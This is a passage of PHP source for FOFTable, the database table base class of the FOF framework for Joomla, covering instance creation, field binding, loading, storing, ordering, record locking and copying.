* com_example.viewname format. They asset name will be this key appended
* with the item's ID, e.g. com_example.viewname.123
*
* @var string
*/
protected $_assetKey = '';
/**
* The input data
*
* @var FOFInput
*/
protected $input = null;
/**
* Extended query including joins with other tables
*
* @var FOFDatabaseQuery
*/
protected $_queryJoin = null;
/**
* The prefix for the table class
*
* @var string
*/
protected $_tablePrefix = '';
/**
* The known fields for this table
*
* @var array
*/
protected $knownFields = array();
/**
* A list of table fields, keyed per table
*
* @var array
*/
protected static $tableFieldCache = array();
/**
* A list of tables in the database
*
* @var array
*/
protected static $tableCache = array();
/**
* An instance of FOFConfigProvider to provision configuration overrides
*
* @var FOFConfigProvider
*/
protected $configProvider = null;
/**
* FOFTableDispatcherBehavior for dealing with extra behaviors
*
* @var FOFTableDispatcherBehavior
*/
protected $tableDispatcher = null;
/**
* List of default behaviors to apply to the table
*
* @var array
*/
protected $default_behaviors = array('tags',
'assets');
/**
* The relations object of the table. It's lazy-loaded by
getRelations().
*
* @var FOFTableRelations
*/
protected $_relations = null;
/**
* The configuration provider's key for this table, e.g.
foobar.tables.bar for the #__foobar_bars table. This is set
* automatically by the constructor
*
* @var string
*/
protected $_configProviderKey = '';
/**
* The content type of the table. Required if using tags or content
history behaviour
*
* @var string
*/
protected $contentType = null;
/**
* Returns a static object instance of a particular table type
*
* @param string $type The table name
* @param string $prefix The prefix of the table class
* @param array $config Optional configuration variables
*
* @return FOFTable
*/
public static function getInstance($type, $prefix = 'JTable',
$config = array())
{
return self::getAnInstance($type, $prefix, $config);
}
/**
* Returns a static object instance of a particular table type
*
* @param string $type The table name
* @param string $prefix The prefix of the table class
* @param array $config Optional configuration variables
*
* @return FOFTable
*/
public static function &getAnInstance($type = null, $prefix =
'JTable', $config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Guess the component name
if (!array_key_exists('input', $config))
{
$config['input'] = new FOFInput;
}
if ($config['input'] instanceof FOFInput)
{
$tmpInput = $config['input'];
}
else
{
$tmpInput = new FOFInput($config['input']);
}
$option = $tmpInput->getCmd('option', '');
$tmpInput->set('option', $option);
$config['input'] = $tmpInput;
if (!in_array($prefix, array('Table', 'JTable')))
{
preg_match('/(.*)Table$/', $prefix, $m);
$option = 'com_' . strtolower($m[1]);
}
if (array_key_exists('option', $config))
{
$option = $config['option'];
}
$config['option'] = $option;
if (!array_key_exists('view', $config))
{
$config['view'] =
$config['input']->getCmd('view',
'cpanel');
}
if (is_null($type))
{
if ($prefix == 'JTable')
{
$prefix = 'Table';
}
$type = $config['view'];
}
$type = preg_replace('/[^A-Z0-9_\.-]/i', '',
$type);
$tableClass = $prefix . ucfirst($type);
$config['_table_type'] = $type;
$config['_table_class'] = $tableClass;
$configProvider = new FOFConfigProvider;
$configProviderKey = $option . '.views.' .
FOFInflector::singularize($type) . '.config.';
if (!array_key_exists($tableClass, self::$instances))
{
if (!class_exists($tableClass))
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
$searchPaths = array(
$componentPaths['main'] . '/tables',
$componentPaths['admin'] . '/tables'
);
if (array_key_exists('tablepath', $config))
{
array_unshift($searchPaths, $config['tablepath']);
}
$altPath = $configProvider->get($configProviderKey .
'table_path', null);
if ($altPath)
{
array_unshift($searchPaths, $componentPaths['admin'] .
'/' . $altPath);
}
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$path = $filesystem->pathFind(
$searchPaths, strtolower($type) . '.php'
);
if ($path)
{
require_once $path;
}
}
if (!class_exists($tableClass))
{
$tableClass = 'FOFTable';
}
$component = str_replace('com_', '',
$config['option']);
$tbl_common = $component . '_';
if (!array_key_exists('tbl', $config))
{
$config['tbl'] = strtolower('#__' . $tbl_common .
strtolower(FOFInflector::pluralize($type)));
}
$altTbl = $configProvider->get($configProviderKey . 'tbl',
null);
if ($altTbl)
{
$config['tbl'] = $altTbl;
}
if (!array_key_exists('tbl_key', $config))
{
$keyName = FOFInflector::singularize($type);
$config['tbl_key'] = strtolower($tbl_common . $keyName .
'_id');
}
$altTblKey = $configProvider->get($configProviderKey .
'tbl_key', null);
if ($altTblKey)
{
$config['tbl_key'] = $altTblKey;
}
if (!array_key_exists('db', $config))
{
$config['db'] = FOFPlatform::getInstance()->getDbo();
}
// Assign the correct table alias
if (array_key_exists('table_alias', $config))
{
$table_alias = $config['table_alias'];
}
else
{
$configProviderTableAliasKey = $option . '.tables.' .
FOFInflector::singularize($type) . '.tablealias';
$table_alias = $configProvider->get($configProviderTableAliasKey,
false );
}
// Can we use the FOF cache?
if (!array_key_exists('use_table_cache', $config))
{
$config['use_table_cache'] =
FOFPlatform::getInstance()->isGlobalFOFCacheEnabled();
}
$alt_use_table_cache = $configProvider->get($configProviderKey .
'use_table_cache', null);
if (!is_null($alt_use_table_cache))
{
$config['use_table_cache'] = $alt_use_table_cache;
}
// Create a new table instance
$instance = new $tableClass($config['tbl'],
$config['tbl_key'], $config['db'], $config);
$instance->setInput($tmpInput);
$instance->setTablePrefix($prefix);
$instance->setTableAlias($table_alias);
// Determine and set the asset key for this table
$assetKey = 'com_' . $component . '.' .
strtolower(FOFInflector::singularize($type));
$assetKey = $configProvider->get($configProviderKey .
'asset_key', $assetKey);
$instance->setAssetKey($assetKey);
if (array_key_exists('trigger_events', $config))
{
$instance->setTriggerEvents($config['trigger_events']);
}
if (version_compare(JVERSION, '3.1', 'ge'))
{
if (array_key_exists('has_tags', $config))
{
$instance->setHasTags($config['has_tags']);
}
$altHasTags = $configProvider->get($configProviderKey .
'has_tags', null);
if ($altHasTags)
{
$instance->setHasTags($altHasTags);
}
}
else
{
$instance->setHasTags(false);
}
$configProviderFieldmapKey = $option . '.tables.' .
FOFInflector::singularize($type) . '.field';
$aliases = $configProvider->get($configProviderFieldmapKey,
$instance->_columnAlias);
$instance->_columnAlias = array_merge($instance->_columnAlias,
$aliases);
self::$instances[$tableClass] = $instance;
}
return self::$instances[$tableClass];
}
/**
* Force an instance inside class cache. Setting arguments to null nukes
all or part of the cache
*
* @param string|null $key TableClass to replace. Set it
to null to nuke the entire cache
* @param FOFTable|null $instance Instance to replace. Set it to
null to nuke $key instances
*
* @return bool Did I correctly switch the instance?
*/
public static function forceInstance($key = null, $instance = null)
{
if(is_null($key))
{
self::$instances = array();
return true;
}
elseif($key && isset(self::$instances[$key]))
{
// I'm forcing an instance, but it's not a FOFTable, abort!
abort!
if(!$instance || ($instance && $instance instanceof FOFTable))
{
self::$instances[$key] = $instance;
return true;
}
}
return false;
}
/**
* Class Constructor.
*
* @param string $table Name of the database table to model.
* @param string $key Name of the primary key field in the
table.
* @param FOFDatabaseDriver &$db Database driver
* @param array $config The configuration parameters array
*/
public function __construct($table, $key, &$db, $config = array())
{
$this->_tbl = $table;
$this->_tbl_key = $key;
$this->_db = $db;
// Make sure the use FOF cache information is in the config
if (!array_key_exists('use_table_cache', $config))
{
$config['use_table_cache'] =
FOFPlatform::getInstance()->isGlobalFOFCacheEnabled();
}
$this->config = $config;
// Load the configuration provider
$this->configProvider = new FOFConfigProvider;
// Load the behavior dispatcher
$this->tableDispatcher = new FOFTableDispatcherBehavior;
// Initialise the table properties.
if ($fields = $this->getTableFields())
{
// Do I have anything joined?
$j_fields = $this->getQueryJoinFields();
if ($j_fields)
{
$fields = array_merge($fields, $j_fields);
}
$this->setKnownFields(array_keys($fields), true);
$this->reset();
}
else
{
$this->_tableExists = false;
}
// Get the input
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput($config['input']);
}
}
else
{
$this->input = new FOFInput;
}
// Set the $name/$_name variable
$component = $this->input->getCmd('option',
'com_foobar');
if (array_key_exists('option', $config))
{
$component = $config['option'];
}
$this->input->set('option', $component);
// Apply table behaviors
$type = explode("_", $this->_tbl);
$type = $type[count($type) - 1];
$this->_configProviderKey = $component . '.tables.' .
FOFInflector::singularize($type);
$configKey = $this->_configProviderKey . '.behaviors';
if (isset($config['behaviors']))
{
$behaviors = (array) $config['behaviors'];
}
elseif ($behaviors = $this->configProvider->get($configKey, null))
{
$behaviors = explode(',', $behaviors);
}
else
{
$behaviors = $this->default_behaviors;
}
if (is_array($behaviors) && count($behaviors))
{
foreach ($behaviors as $behavior)
{
$this->addBehavior($behavior);
}
}
// If we are tracking assets, make sure an access field exists and
initially set the default.
$asset_id_field = $this->getColumnAlias('asset_id');
$access_field = $this->getColumnAlias('access');
if (in_array($asset_id_field, $this->getKnownFields()))
{
JLoader::import('joomla.access.rules');
$this->_trackAssets = true;
}
// If the access property exists, set the default.
if (in_array($access_field, $this->getKnownFields()))
{
$this->$access_field = (int)
FOFPlatform::getInstance()->getConfig()->get('access');
}
$this->config = $config;
}
/**
* Replace the entire known fields array
*
* @param array $fields A simple array of known field names
* @param boolean $initialise Should we initialise variables to null?
*
* @return void
*/
public function setKnownFields($fields, $initialise = false)
{
$this->knownFields = $fields;
if ($initialise)
{
foreach ($this->knownFields as $field)
{
$this->$field = null;
}
}
}
/**
* Get the known fields array
*
* @return array
*/
public function getKnownFields()
{
return $this->knownFields;
}
/**
* Does the specified field exist?
*
* @param string $fieldName The field name to search (it's OK to
use aliases)
*
* @return bool
*/
public function hasField($fieldName)
{
$search = $this->getColumnAlias($fieldName);
return in_array($search, $this->knownFields);
}
/**
* Add a field to the known fields array
*
* @param string $field The name of the field to add
* @param boolean $initialise Should we initialise the variable to
null?
*
* @return void
*/
public function addKnownField($field, $initialise = false)
{
if (!in_array($field, $this->knownFields))
{
$this->knownFields[] = $field;
if ($initialise)
{
$this->$field = null;
}
}
}
/**
* Remove a field from the known fields array
*
* @param string $field The name of the field to remove
*
* @return void
*/
public function removeKnownField($field)
{
if (in_array($field, $this->knownFields))
{
$pos = array_search($field, $this->knownFields);
unset($this->knownFields[$pos]);
}
}
/**
* Adds a behavior to the table
*
* @param string $name The name of the behavior
* @param array $config Optional Behavior configuration
*
* @return boolean
*/
public function addBehavior($name, $config = array())
{
// First look for ComponentnameTableViewnameBehaviorName (e.g.
FoobarTableItemsBehaviorTags)
if (isset($this->config['option']))
{
$option_name = str_replace('com_', '',
$this->config['option']);
$behaviorClass = $this->config['_table_class'] .
'Behavior' . ucfirst(strtolower($name));
if (class_exists($behaviorClass))
{
$behavior = new $behaviorClass($this->tableDispatcher, $config);
return true;
}
// Then look for ComponentnameTableBehaviorName (e.g.
FoobarTableBehaviorTags)
$option_name = str_replace('com_', '',
$this->config['option']);
$behaviorClass = ucfirst($option_name) . 'TableBehavior' .
ucfirst(strtolower($name));
if (class_exists($behaviorClass))
{
$behavior = new $behaviorClass($this->tableDispatcher, $config);
return true;
}
}
// Nothing found? Return false.
$behaviorClass = 'FOFTableBehavior' .
ucfirst(strtolower($name));
if (class_exists($behaviorClass) && $this->tableDispatcher)
{
$behavior = new $behaviorClass($this->tableDispatcher, $config);
return true;
}
return false;
}
/**
* Sets the events trigger switch state
*
* @param boolean $newState The new state of the switch (what else
could it be?)
*
* @return void
*/
public function setTriggerEvents($newState = false)
{
$this->_trigger_events = $newState ? true : false;
}
/**
* Gets the events trigger switch state
*
* @return boolean
*/
public function getTriggerEvents()
{
return $this->_trigger_events;
}
/**
* Gets the has tags switch state
*
* @return bool
*/
public function hasTags()
{
return $this->_has_tags;
}
/**
* Sets the has tags switch state
*
* @param bool $newState
*/
public function setHasTags($newState = false)
{
$this->_has_tags = false;
// Tags are available only in 3.1+
if (version_compare(JVERSION, '3.1', 'ge'))
{
$this->_has_tags = $newState ? true : false;
}
}
/**
* Set the class prefix
*
* @param string $prefix The prefix
*/
public function setTablePrefix($prefix)
{
$this->_tablePrefix = $prefix;
}
/**
* Sets fields to be skipped from automatic checks.
*
* @param array/string $skip Fields to be skipped by automatic checks
*
* @return void
*/
public function setSkipChecks($skip)
{
$this->_skipChecks = (array) $skip;
}
/**
* Method to load a row from the database by primary key and bind the
fields
* to the FOFTable instance properties.
*
* @param mixed $keys An optional primary key value to load the row
by, or an array of fields to match. If not
* set the instance property value is used.
* @param boolean $reset True to reset the default values before
loading the new row.
*
* @return boolean True if successful. False if row not found.
*
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function load($keys = null, $reset = true)
{
if (!$this->_tableExists)
{
$result = false;
return $this->onAfterLoad($result);
}
if (empty($keys))
{
// If empty, use the value of the current key
$keyName = $this->_tbl_key;
if (isset($this->$keyName))
{
$keyValue = $this->$keyName;
}
else
{
$keyValue = null;
}
// If empty primary key there's is no need to load anything
if (empty($keyValue))
{
$result = true;
return $this->onAfterLoad($result);
}
$keys = array($keyName => $keyValue);
}
elseif (!is_array($keys))
{
// Load by primary key.
$keys = array($this->_tbl_key => $keys);
}
if ($reset)
{
$this->reset();
}
// Initialise the query.
$query = $this->_db->getQuery(true);
$query->select($this->_tbl . '.*');
$query->from($this->_tbl);
// Joined fields are ok, since I initialized them in the constructor
$fields = $this->getKnownFields();
foreach ($keys as $field => $value)
{
// Check that $field is in the table.
if (!in_array($field, $fields))
{
throw new UnexpectedValueException(sprintf('Missing field in table
%s : %s.', $this->_tbl, $field));
}
// Add the search tuple to the query.
$query->where($this->_db->qn($this->_tbl . '.' .
$field) . ' = ' . $this->_db->q($value));
}
// Do I have any joined table?
$j_query = $this->getQueryJoin();
if ($j_query)
{
if ($j_query->select &&
$j_query->select->getElements())
{
//$query->select($this->normalizeSelectFields($j_query->select->getElements(),
true));
$query->select($j_query->select->getElements());
}
if ($j_query->join)
{
foreach ($j_query->join as $join)
{
$t = (string) $join;
// Joomla doesn't provide any access to the "name"
variable, so I have to work with strings...
if (stripos($t, 'inner') !== false)
{
$query->innerJoin($join->getElements());
}
elseif (stripos($t, 'left') !== false)
{
$query->leftJoin($join->getElements());
}
elseif (stripos($t, 'right') !== false)
{
$query->rightJoin($join->getElements());
}
elseif (stripos($t, 'outer') !== false)
{
$query->outerJoin($join->getElements());
}
}
}
}
$this->_db->setQuery($query);
$row = $this->_db->loadAssoc();
// Check that we have a result.
if (empty($row))
{
$result = false;
return $this->onAfterLoad($result);
}
// Bind the object with the row and return.
$result = $this->bind($row);
$this->onAfterLoad($result);
return $result;
}
/**
* Based on fields properties (nullable column), checks if the field is
required or not
*
* @return boolean
*/
public function check()
{
if (!$this->_autoChecks)
{
return true;
}
$fields = $this->getTableFields();
// No fields? Why in the hell am I here?
if(!$fields)
{
return false;
}
$result = true;
$known = $this->getKnownFields();
$skipFields[] = $this->_tbl_key;
if(in_array($this->getColumnAlias('title'), $known)
&& in_array($this->getColumnAlias('slug'), $known))
$skipFields[] = $this->getColumnAlias('slug');
if(in_array($this->getColumnAlias('hits'), $known))
$skipFields[] = $this->getColumnAlias('hits');
if(in_array($this->getColumnAlias('created_on'),
$known)) $skipFields[] =
$this->getColumnAlias('created_on');
if(in_array($this->getColumnAlias('created_by'),
$known)) $skipFields[] =
$this->getColumnAlias('created_by');
if(in_array($this->getColumnAlias('modified_on'),
$known)) $skipFields[] =
$this->getColumnAlias('modified_on');
if(in_array($this->getColumnAlias('modified_by'),
$known)) $skipFields[] =
$this->getColumnAlias('modified_by');
if(in_array($this->getColumnAlias('locked_by'),
$known)) $skipFields[] =
$this->getColumnAlias('locked_by');
if(in_array($this->getColumnAlias('locked_on'),
$known)) $skipFields[] =
$this->getColumnAlias('locked_on');
// Let's merge it with custom skips
$skipFields = array_merge($skipFields, $this->_skipChecks);
foreach ($fields as $field)
{
$fieldName = $field->Field;
if (empty($fieldName))
{
$fieldName = $field->column_name;
}
// Field is not nullable but it's null, set error
if ($field->Null == 'NO' && $this->$fieldName ==
'' && !in_array($fieldName, $skipFields))
{
$text = str_replace('#__', 'COM_',
$this->getTableName()) . '_ERR_' . $fieldName;
$this->setError(JText::_(strtoupper($text)));
$result = false;
}
}
return $result;
}
/**
* Method to reset class properties to the defaults set in the class
* definition. It will ignore the primary key as well as any private class
* properties.
*
* @return void
*/
public function reset()
{
if (!$this->onBeforeReset())
{
return false;
}
// Get the default values for the class from the table.
$fields = $this->getTableFields();
$j_fields = $this->getQueryJoinFields();
if ($j_fields)
{
$fields = array_merge($fields, $j_fields);
}
if (is_array($fields) && !empty($fields))
{
foreach ($fields as $k => $v)
{
// If the property is not the primary key or private, reset it.
if ($k != $this->_tbl_key && (strpos($k, '_') !==
0))
{
$this->$k = $v->Default;
}
}
if (!$this->onAfterReset())
{
return false;
}
}
}
/**
* Clones the current object, after resetting it
*
* @return static
*/
public function getClone()
{
$clone = clone $this;
$clone->reset();
$key = $this->getKeyName();
$clone->$key = null;
return $clone;
}
/**
* Generic check for whether dependencies exist for this object in the db
schema
*
* @param integer $oid The primary key of the record to delete
* @param array $joins Any joins to foreign table, used to determine
if dependent records exist
*
* @return boolean True if the record can be deleted
*/
public function canDelete($oid = null, $joins = null)
{
$k = $this->_tbl_key;
if ($oid)
{
$this->$k = intval($oid);
}
if (is_array($joins))
{
$db = $this->_db;
$query = $db->getQuery(true)
->select($db->qn('master') . '.' .
$db->qn($k))
->from($db->qn($this->_tbl) . ' AS ' .
$db->qn('master'));
$tableNo = 0;
foreach ($joins as $table)
{
$tableNo++;
$query->select(
array(
'COUNT(DISTINCT ' . $db->qn('t' . $tableNo) .
'.' . $db->qn($table['idfield']) . ') AS '
. $db->qn($table['idalias'])
)
);
$query->join('LEFT', $db->qn($table['name'])
.
' AS ' . $db->qn('t' . $tableNo) .
' ON ' . $db->qn('t' . $tableNo) .
'.' . $db->qn($table['joinfield']) .
' = ' . $db->qn('master') . '.' .
$db->qn($k)
);
}
$query->where($db->qn('master') . '.' .
$db->qn($k) . ' = ' . $db->q($this->$k));
$query->group($db->qn('master') . '.' .
$db->qn($k));
$this->_db->setQuery((string) $query);
if (version_compare(JVERSION, '3.0', 'ge'))
{
try
{
$obj = $this->_db->loadObject();
}
catch (Exception $e)
{
$this->setError($e->getMessage());
}
}
else
{
if (!$obj = $this->_db->loadObject())
{
$this->setError($this->_db->getErrorMsg());
return false;
}
}
$msg = array();
$i = 0;
foreach ($joins as $table)
{
$k = $table['idalias'];
if ($obj->$k > 0)
{
$msg[] = JText::_($table['label']);
}
$i++;
}
if (count($msg))
{
$option = $this->input->getCmd('option',
'com_foobar');
$comName = str_replace('com_', '', $option);
$tview = str_replace('#__' . $comName . '_',
'', $this->_tbl);
$prefix = $option . '_' . $tview . '_NODELETE_';
foreach ($msg as $key)
{
$this->setError(JText::_($prefix . $key));
}
return false;
}
else
{
return true;
}
}
return true;
}
/**
* Method to bind an associative array or object to the FOFTable
instance.This
* method only binds properties that are publicly accessible and
optionally
* takes an array of properties to ignore when binding.
*
* @param mixed $src An associative array or object to bind to the
FOFTable instance.
* @param mixed $ignore An optional array or space separated list of
properties to ignore while binding.
*
* @return boolean True on success.
*
* @throws InvalidArgumentException
*/
public function bind($src, $ignore = array())
{
if (!$this->onBeforeBind($src))
{
return false;
}
// If the source value is not an array or object return false.
if (!is_object($src) && !is_array($src))
{
throw new InvalidArgumentException(sprintf('%s::bind(*%s*)',
get_class($this), gettype($src)));
}
// If the source value is an object, get its accessible properties.
if (is_object($src))
{
$src = get_object_vars($src);
}
// If the ignore value is a string, explode it over spaces.
if (!is_array($ignore))
{
$ignore = explode(' ', $ignore);
}
// Bind the source value, excluding the ignored fields.
foreach ($this->getKnownFields() as $k)
{
// Only process fields not in the ignore array.
if (!in_array($k, $ignore))
{
if (isset($src[$k]))
{
$this->$k = $src[$k];
}
}
}
$result = $this->onAfterBind($src);
return $result;
}
/**
* Method to store a row in the database from the FOFTable instance
properties.
* If a primary key value is set the row with that primary key value will
be
* updated with the instance property values. If no primary key value is
set
* a new row will be inserted into the database with the properties from
the
* FOFTable instance.
*
* @param boolean $updateNulls True to update fields even if they are
null.
*
* @return boolean True on success.
*/
public function store($updateNulls = false)
{
if (!$this->onBeforeStore($updateNulls))
{
return false;
}
$k = $this->_tbl_key;
if ($this->$k == 0)
{
$this->$k = null;
}
// Create the object used for inserting/updating data to the database
$fields = $this->getTableFields();
$properties = $this->getKnownFields();
$keys = array();
foreach ($properties as $property)
{
// 'input' property is a reserved name
if (isset($fields[$property]))
{
$keys[] = $property;
}
}
$updateObject = array();
foreach ($keys as $key)
{
$updateObject[$key] = $this->$key;
}
$updateObject = (object)$updateObject;
/**
* While the documentation for update/insertObject and execute() say they
return a boolean,
* not all of the implemtnations. Depending on the version of J! and the
specific driver,
* they may return a database object, or boolean, or a mix, or toss an
exception. So try/catch,
* and test for false.
*/
try
{
// If a primary key exists update the object, otherwise insert it.
if ($this->$k)
{
$result = $this->_db->updateObject($this->_tbl, $updateObject,
$this->_tbl_key, $updateNulls);
}
else
{
$result = $this->_db->insertObject($this->_tbl, $updateObject,
$this->_tbl_key);
}
if ($result === false)
{
$this->setError($this->_db->getErrorMsg());
return false;
}
}
catch (Exception $e)
{
$this->setError($e->getMessage());
}
$this->bind($updateObject);
if ($this->_locked)
{
$this->_unlock();
}
$result = $this->onAfterStore();
return $result;
}
/**
* Method to move a row in the ordering sequence of a group of rows
defined by an SQL WHERE clause.
* Negative numbers move the row up in the sequence and positive numbers
move it down.
*
* @param integer $delta The direction and magnitude to move the row
in the ordering sequence.
* @param string $where WHERE clause to use for limiting the
selection of rows to compact the
* ordering values.
*
* @return mixed Boolean True on success.
*
* @throws UnexpectedValueException
*/
public function move($delta, $where = '')
{
if (!$this->onBeforeMove($delta, $where))
{
return false;
}
// If there is no ordering field set an error and return false.
$ordering_field = $this->getColumnAlias('ordering');
if (!in_array($ordering_field, $this->getKnownFields()))
{
throw new UnexpectedValueException(sprintf('%s does not support
ordering.', $this->_tbl));
}
// If the change is none, do nothing.
if (empty($delta))
{
$result = $this->onAfterMove();
return $result;
}
$k = $this->_tbl_key;
$row = null;
$query = $this->_db->getQuery(true);
// If the table is not loaded, return false
if (empty($this->$k))
{
return false;
}
// Select the primary key and ordering values from the table.
$query->select(array($this->_db->qn($this->_tbl_key),
$this->_db->qn($ordering_field)));
$query->from($this->_tbl);
// If the movement delta is negative move the row up.
if ($delta < 0)
{
$query->where($this->_db->qn($ordering_field) . ' <
' . $this->_db->q((int) $this->$ordering_field));
$query->order($this->_db->qn($ordering_field) . '
DESC');
}
// If the movement delta is positive move the row down.
elseif ($delta > 0)
{
$query->where($this->_db->qn($ordering_field) . ' >
' . $this->_db->q((int) $this->$ordering_field));
$query->order($this->_db->qn($ordering_field) . '
ASC');
}
// Add the custom WHERE clause if set.
if ($where)
{
$query->where($where);
}
// Select the first row with the criteria.
$this->_db->setQuery($query, 0, 1);
$row = $this->_db->loadObject();
// If a row is found, move the item.
if (!empty($row))
{
// Update the ordering field for this instance to the row's
ordering value.
$query = $this->_db->getQuery(true);
$query->update($this->_tbl);
$query->set($this->_db->qn($ordering_field) . ' = ' .
$this->_db->q((int) $row->$ordering_field));
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($this->$k));
$this->_db->setQuery($query);
$this->_db->execute();
// Update the ordering field for the row to this instance's
ordering value.
$query = $this->_db->getQuery(true);
$query->update($this->_tbl);
$query->set($this->_db->qn($ordering_field) . ' = ' .
$this->_db->q((int) $this->$ordering_field));
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($row->$k));
$this->_db->setQuery($query);
$this->_db->execute();
// Update the instance value.
$this->$ordering_field = $row->$ordering_field;
}
else
{
// Update the ordering field for this instance.
$query = $this->_db->getQuery(true);
$query->update($this->_tbl);
$query->set($this->_db->qn($ordering_field) . ' = ' .
$this->_db->q((int) $this->$ordering_field));
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($this->$k));
$this->_db->setQuery($query);
$this->_db->execute();
}
$result = $this->onAfterMove();
return $result;
}
/**
* Change the ordering of the records of the table
*
* @param string $where The WHERE clause of the SQL used to fetch
the order
*
* @return boolean True is successful
*
* @throws UnexpectedValueException
*/
public function reorder($where = '')
{
if (!$this->onBeforeReorder($where))
{
return false;
}
// If there is no ordering field set an error and return false.
$order_field = $this->getColumnAlias('ordering');
if (!in_array($order_field, $this->getKnownFields()))
{
throw new UnexpectedValueException(sprintf('%s does not support
ordering.', $this->_tbl_key));
}
$k = $this->_tbl_key;
// Get the primary keys and ordering values for the selection.
$query = $this->_db->getQuery(true);
$query->select($this->_tbl_key . ', ' .
$this->_db->qn($order_field));
$query->from($this->_tbl);
$query->where($this->_db->qn($order_field) . ' >= '
. $this->_db->q(0));
$query->order($this->_db->qn($order_field));
// Setup the extra where and ordering clause data.
if ($where)
{
$query->where($where);
}
$this->_db->setQuery($query);
$rows = $this->_db->loadObjectList();
// Compact the ordering values.
foreach ($rows as $i => $row)
{
// Make sure the ordering is a positive integer.
if ($row->$order_field >= 0)
{
// Only update rows that are necessary.
if ($row->$order_field != $i + 1)
{
// Update the row ordering field.
$query = $this->_db->getQuery(true);
$query->update($this->_tbl);
$query->set($this->_db->qn($order_field) . ' = ' .
$this->_db->q($i + 1));
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($row->$k));
$this->_db->setQuery($query);
$this->_db->execute();
}
}
}
$result = $this->onAfterReorder();
return $result;
}
/**
* Check out (lock) a record
*
* @param integer $userId The locking user's ID
* @param integer $oid The primary key value of the record to lock
*
* @return boolean True on success
*/
public function checkout($userId, $oid = null)
{
$fldLockedBy = $this->getColumnAlias('locked_by');
$fldLockedOn = $this->getColumnAlias('locked_on');
if (!(in_array($fldLockedBy, $this->getKnownFields())
|| in_array($fldLockedOn, $this->getKnownFields())))
{
return true;
}
$k = $this->_tbl_key;
if ($oid !== null)
{
$this->$k = $oid;
}
// No primary key defined, stop here
if (!$this->$k)
{
return false;
}
$date = FOFPlatform::getInstance()->getDate();
if (method_exists($date, 'toSql'))
{
$time = $date->toSql();
}
else
{
$time = $date->toMySQL();
}
$query = $this->_db->getQuery(true)
->update($this->_db->qn($this->_tbl))
->set(
array(
$this->_db->qn($fldLockedBy) . ' = ' .
$this->_db->q((int) $userId),
$this->_db->qn($fldLockedOn) . ' = ' .
$this->_db->q($time)
)
)
->where($this->_db->qn($this->_tbl_key) . ' = ' .
$this->_db->q($this->$k));
$this->_db->setQuery((string) $query);
$this->$fldLockedBy = $userId;
$this->$fldLockedOn = $time;
return $this->_db->execute();
}
/**
* Check in (unlock) a record
*
* @param integer $oid The primary key value of the record to unlock
*
* @return boolean True on success
*/
public function checkin($oid = null)
{
$fldLockedBy = $this->getColumnAlias('locked_by');
$fldLockedOn = $this->getColumnAlias('locked_on');
if (!(in_array($fldLockedBy, $this->getKnownFields())
|| in_array($fldLockedOn, $this->getKnownFields())))
{
return true;
}
$k = $this->_tbl_key;
if ($oid !== null)
{
$this->$k = $oid;
}
if ($this->$k == null)
{
return false;
}
$query = $this->_db->getQuery(true)
->update($this->_db->qn($this->_tbl))
->set(
array(
$this->_db->qn($fldLockedBy) . ' = 0',
$this->_db->qn($fldLockedOn) . ' = ' .
$this->_db->q($this->_db->getNullDate())
)
)
->where($this->_db->qn($this->_tbl_key) . ' = ' .
$this->_db->q($this->$k));
$this->_db->setQuery((string) $query);
$this->$fldLockedBy = 0;
$this->$fldLockedOn = '';
return $this->_db->execute();
}
/**
* Is a record locked?
*
* @param integer $with The userid to preform the match
with. If an item is checked
* out by this user the function will
return false.
* @param integer $unused_against Junk inherited from JTable; ignore
*
* @throws UnexpectedValueException
*
* @return boolean True if the record is locked by another user
*/
public function isCheckedOut($with = 0, $unused_against = null)
{
$against = null;
$fldLockedBy = $this->getColumnAlias('locked_by');
$k = $this->_tbl_key;
// If no primary key is given, return false.
if ($this->$k === null)
{
throw new UnexpectedValueException('Null primary key not
allowed.');
}
if (isset($this) && is_a($this, 'FOFTable') &&
!$against)
{
$against = $this->get($fldLockedBy);
}
// Item is not checked out, or being checked out by the same user
if (!$against || $against == $with)
{
return false;
}
$session = JTable::getInstance('session');
return $session->exists($against);
}
/**
* Copy (duplicate) one or more records
*
* @param integer|array $cid The primary key value (or values) or the
record(s) to copy
*
* @return boolean True on success
*/
public function copy($cid = null)
{
//We have to cast the id as array, or the helper function will return an
empty set
if($cid)
{
$cid = (array) $cid;
}
FOFUtilsArray::toInteger($cid);
$k = $this->_tbl_key;
if (count($cid) < 1)
{
if ($this->$k)
{
$cid = array($this->$k);
}
else
{
$this->setError("No items selected.");
return false;
}
}
$created_by = $this->getColumnAlias('created_by');
$created_on = $this->getColumnAlias('created_on');
$modified_by = $this->getColumnAlias('modified_by');
$modified_on = $this->getColumnAlias('modified_on');
$locked_byName = $this->getColumnAlias('locked_by');
$checkin = in_array($locked_byName, $this->getKnownFields());
foreach ($cid as $item)
{
// Prevent load with id = 0
if (!$item)
{
continue;
}
$this->load($item);
if ($checkin)
{
// We're using the checkin and the record is used by someone else
if ($this->isCheckedOut($item))
{
continue;
}
}
if (!$this->onBeforeCopy($item))
{
continue;
}
$this->$k = null;
$this->$created_by = null;
$this->$created_on = null;
$this->$modified_on = null;
$this->$modified_by = null;
// Let's fire the event only if everything is ok
if ($this->store())
{
$this->onAfterCopy($item);
}
$this->reset();
}
return true;
}
/**
* Publish or unpublish records
*
* @param integer|array $cid The primary key value(s) of the
item(s) to publish/unpublish
* @param integer $publish 1 to publish an item, 0 to unpublish
* @param integer $user_id The user ID of the user
(un)publishing the item.
*
* @return boolean True on success, false on failure (e.g. record is
locked)
*/
public function publish($cid = null, $publish = 1, $user_id = 0)
{
$enabledName = $this->getColumnAlias('enabled');
$locked_byName = $this->getColumnAlias('locked_by');
// Mhm... you called the publish method on a table without publish
support...
if(!in_array($enabledName, $this->getKnownFields()))
{
return false;
}
//We have to cast the id as array, or the helper function will return an
empty set
if($cid)
{
$cid = (array) $cid;
}
FOFUtilsArray::toInteger($cid);
$user_id = (int) $user_id;
$publish = (int) $publish;
$k = $this->_tbl_key;
